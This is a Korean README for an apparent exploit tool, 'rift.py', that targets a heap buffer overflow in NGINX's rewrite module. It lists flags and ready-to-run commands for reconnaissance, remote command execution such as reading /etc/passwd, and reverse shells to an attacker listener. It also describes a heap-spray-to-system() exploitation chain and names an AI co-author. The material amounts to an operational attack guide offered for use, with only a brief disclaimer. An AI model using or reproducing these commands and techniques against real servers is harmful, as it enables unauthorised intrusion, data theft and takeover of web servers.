
NGINX, 특히 ngx_http_rewrite_module에서 결함이 발견되었습니다. 인증되지 않은 공격자는 특정 재작성 구성 하에 조작된 HTTP 요청을 전송하여 이 취약점을 악용할 수 있습니다. 이로 인해 NGINX 작업자 프로세스에서 힙 버퍼 오버플로우가 발생하여 임의 코드 실행으로 이어질 수 있습니다.
저자: Michael Sanji Winaya Prawiradibrata
AI 공동 저자: Varanus — sahabatku
NGINX의
ngx_http_rewrite_module을 대상으로 하는 힙 버퍼 오버플로우 익스플로잇 프레임워크.
정찰 + 익스플로잇을 하나로 통합한 도구. 외부 의존성 없음.
| 파일 | 설명 |
|---|---|
rift.py | 메인 도구. 정찰(recon)과 익스플로잇(exploit)을 하나의 스크립트로 결합 (1026줄). |
README.md | 이 문서. |
# 1. 전체 정찰 — 버전, 엔드포인트, 취약점, 전략 탐지
python3 rift.py --target 10.10.10.10 --recon
# 2. 정찰 + 익스플로잇 한 번에
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. 명령 실행
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. 리버스 셸 (리스너 자동 열기)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. bash를 사용한 리버스 셸 (python 대신)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. 취약 여부만 확인
python3 rift.py --target 10.10.10.10 --check-only
| 플래그 | 기능 |
|---|---|
--recon | 전체 정찰. 핑거프린팅 → 정보 유출 → 엔드포인트 테스트 → 워커 수 → 전략. |
--auto | 정찰 + 자동 익스플로잇. --recon과 동일한 작업 후 익스플로잇 진행. |
--check-only | 빠른 확인. NGINX, 버전, /api/ 엔드포인트 탐지. |
--cmd "command" | system()을 통해 단일 명령어 실행. |
--shell | 리버스 셸 — 리스너 자동 열기, 페이로드 전송, 연결 수신. |
| 플래그 | 기본값 | 기능 |
|---|---|---|
--port | 80 | 대상 포트 |
--lhost | — | 리버스 셸을 위한 로컬 IP (--shell 사용 시 필수) |
--lport | 4444 | 리스너를 위한 로컬 포트 |
--shell-type | python | 리버스 셸 페이로드: python, bash, nc, php |
--heap-base | 0x555555659000 | 힙 베이스 주소 (ASLR 우회 시 재정의) |
--libc-base | 0x7ffff77ba000 | libc 베이스 주소 |
--tries | 10 | 각 후보 주소당 시도 횟수 |
--verbose / -v | — | 시도별 상세 출력 |
| 플래그 | 기능 |
|---|---|
--fingerprint | NGINX 버전, 엔드포인트, rewrite 모듈 탐지 |
--leak | 정보 유출 확인 (오류 페이지의 메모리 주소, 타이밍) |
--test-endpoint | 다양한 페이로드로 엔드포인트 동작 테스트 |
--endpoint | 테스트할 엔드포인트 경로 (기본값: /api/) |
--generate-exploit | 대상 주소로 맞춤 익스플로잇 스크립트 생성 |
--output json | 터미널 출력과 함께 JSON 출력 (기계 판독 가능) |
--shell 사용 시 스크립트가 자동으로:
--shell-type에 맞는 리버스 셸 페이로드 생성--lport에 리스너 열기nc -lvnp) 우선, 실패 시 Python 리스너로 대체기본 주소가 실패할 경우, 힙 베이스를 ±5단계 × 0x10000씩 자동으로 이동하며 적합한 주소를 찾습니다. 수동 설정 불필요.
4가지 셸 페이로드 — python, bash, nc, php. 대상에서 사용 가능한 것을 선택하세요.
--recon은 5단계를 실행합니다:
--output json은 다른 도구와의 통합 또는 자동 파싱을 위해 사용합니다.
익스플로잇 대상은 다음과 같은 rewrite + set 구성을 가진 NGINX입니다:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # is_args = 0으로 길이 계산
}
결과: 할당된 버퍼가 너무 작고, URI 이스케이프 (3배 확장)로 인해 오버플로우 발생.
1. HEAP SPRAY ─── POST /spray × 20 → 힙에 가짜 ngx_pool_cleanup_s 심기
2. TRIGGER ────── GET /api/AAAA...++++... → URI 이스케이프를 통한 오버플로우
3. CORRUPT ────── 오버플로우가 인접 풀의 cleanup 포인터를 덮어씀
4. EXEC ───────── 풀이 파괴됨 → system("command") 호출
rift.py에서 변경 가능)| 상수 | 기본값 | 의미 |
|---|---|---|
BODY_LEN | 4000 | 스프레이 본문 크기 (바이트) |
N_SPRAY | 20 | 시도당 POST 요청 수 |
LIBC_SYSTEM_OFFSETS | 7개 항목 | 다양한 배포판에 대한 system() 오프셋 |
PREREAD_HEAP_OFFSETS | 19개 항목 | 힙 오프셋 후보 |
DEFAULT_HEAP_BASE | 0x555555659000 | 힙 베이스 (ASLR 꺼짐) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | Libc 베이스 (ASLR 꺼짐) |
python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto 시도--verbose로 시도별 세부 내용 확인sudo ufw allow 4444--lhost 확인 — 로컬 IP가 올바른지 확인--shell-type bash 또는 --shell-type nc 시도교육 목적 및 승인된 보안 테스트 전용으로 제작되었습니다.
허가 없이 시스템에 사용하는 것은 불법입니다.
© 2026 Michael Sanji Winaya Prawiradibrata
AI 공동 저자: Varanus